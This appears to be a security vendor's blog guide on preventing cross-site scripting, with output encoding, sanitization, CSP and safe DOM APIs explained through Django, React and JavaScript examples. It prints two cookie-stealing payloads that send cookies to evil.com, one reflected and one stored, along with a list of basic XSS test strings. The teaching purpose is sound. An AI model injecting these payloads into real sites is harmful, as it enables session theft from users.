Skip to main content
Offensive360

How to Prevent Cross-Site Scripting (XSS) — Complete Guide

Cross-site scripting is consistently in the OWASP Top 10. This guide covers all three XSS types — reflected, stored, and DOM-based — with prevention strategies and code examples.

Offensive360 Security Research Team | | Vulnerability Research
XSScross-site scriptingOWASPinput validationweb securityCWE-79

Cross-site scripting (XSS) is one of the most widespread web application vulnerabilities, consistently appearing in the OWASP Top 10 (A03:2021 Injection). XSS occurs when an application includes untrusted data in a web page without proper validation or encoding, allowing attackers to execute scripts in victims’ browsers.

How XSS Works

When a browser loads a page, it executes any JavaScript it encounters. If an attacker can inject JavaScript into a page that other users load, that script runs in the context of those users’ sessions — with access to their cookies, session tokens, local storage, and the ability to make requests on their behalf.

The Three Types of XSS

1. Reflected XSS

The malicious script is part of the HTTP request. The server “reflects” it back in the response without storing it.

Example:

https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

If the server renders q directly in the page, anyone clicking this URL gets their cookies stolen. Attackers distribute these URLs via phishing emails or shortened links.

2. Stored (Persistent) XSS

The malicious script is stored in the database and served to all users who view the affected content. This is the most dangerous type because it affects every visitor without requiring them to click a specific link.

Example: An attacker posts a comment containing:

<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

Every user who views that comment executes the script and leaks their session cookie.

3. DOM-Based XSS

The attack happens entirely on the client side. JavaScript in the page reads attacker-controlled data (URL fragment, window.location, document.referrer) and writes it to the DOM without sanitization.

// VULNERABLE: URL fragment written directly to DOM
document.getElementById('welcome').innerHTML =
    "Welcome, " + location.hash.slice(1); // URL: /page#<img src=x onerror=alert(1)>

No server is involved — this never appears in server logs and is invisible to WAFs that only inspect request/response bodies.

Prevention Strategy 1: Output Encoding

The primary defense for reflected and stored XSS. Encode untrusted data for the specific context it’s being inserted into:

ContextEncoding neededExample
HTML bodyHTML entity encode&lt; instead of <
HTML attributeHTML attribute encodeQuote and encode
JavaScriptJavaScript string encode\x3c instead of <
CSSCSS encode\003C
URLURL encode%3C

Most web frameworks handle HTML encoding by default. The danger is when developers bypass the framework’s auto-escaping:

# Django — SAFE: auto-escaped
return render(request, 'template.html', {'name': user_name})

# Django — VULNERABLE: marks string as safe without checking
from django.utils.safestring import mark_safe
return render(request, 'template.html', {'name': mark_safe(user_name)})
// React — SAFE: JSX auto-escapes
return <div>Welcome, {userName}</div>;

// React — VULNERABLE: bypasses escaping
return <div dangerouslySetInnerHTML={{__html: 'Welcome, ' + userName}} />;

Prevention Strategy 2: Input Validation

Validate that inputs match expected formats. For fields that only accept usernames, numbers, or dates — enforce that constraint:

import re

def validate_username(username):
    if not re.match(r'^[a-zA-Z0-9_-]{3,20}$', username):
        raise ValueError("Invalid username format")
    return username

Input validation is defense-in-depth, not a primary defense. A correctly typed input can still contain XSS payloads if output encoding isn’t applied.

Prevention Strategy 3: HTML Sanitization

When you genuinely need to allow HTML (rich text editors, comment formatting), don’t write your own sanitizer — use a well-tested library:

  • Python: bleach — allowlist-based sanitizer
  • JavaScript: DOMPurify — fast, battle-tested
  • Java: OWASP Java HTML Sanitizer
  • PHP: HTML Purifier
import DOMPurify from 'dompurify';

// SAFE: DOMPurify strips malicious tags/attributes
const clean = DOMPurify.sanitize(userProvidedHtml);
element.innerHTML = clean;

Prevention Strategy 4: Content Security Policy (CSP)

CSP is a browser security mechanism that lets you control which scripts can execute on your page. Even if XSS injection succeeds, CSP can prevent the injected script from running.

Content-Security-Policy:
    default-src 'self';
    script-src 'self' https://cdn.trusted.com;
    object-src 'none';

A strict CSP that bans inline scripts and eval() neutralizes most XSS attacks. Start with a report-only policy to identify violations before enforcing:

Content-Security-Policy-Report-Only:
    default-src 'self';
    report-uri /csp-violations

Prevention Strategy 5: DOM-Based XSS Specific Fixes

Avoid dangerous JavaScript APIs that write HTML:

// DANGEROUS APIs — avoid with untrusted input:
element.innerHTML = userInput;       // Parses HTML, executes scripts
element.outerHTML = userInput;
document.write(userInput);
eval(userInput);
setTimeout(userInput);               // String form executes as code

// SAFE alternatives:
element.textContent = userInput;     // Text only, never parsed as HTML
element.setAttribute('href', sanitizedUrl); // Use for attributes

Testing for XSS

Basic test payloads to check if a parameter is vulnerable:

<script>alert(1)</script>
"><script>alert(1)</script>
'><script>alert(1)</script>
<img src=x onerror=alert(1)>
javascript:alert(1)

Use browser developer tools to inspect whether the payload appears in the DOM unencoded. Automated scanners like Offensive360 DAST test for XSS systematically across all application parameters.

Quick Reference

XSS TypeWhere payload livesWho gets affected
ReflectedURL parameterUsers who click malicious link
StoredDatabaseAll users who view the content
DOM-basedClient-side JSUsers who visit crafted URL

Defense layers: Output encoding (primary) + Input validation (secondary) + CSP (mitigation layer) + HTML sanitization libraries (for rich text).

Written by Offensive360 Security Research Team

Find vulnerabilities before attackers do

Run Offensive360 SAST and DAST against your applications to catch security issues early.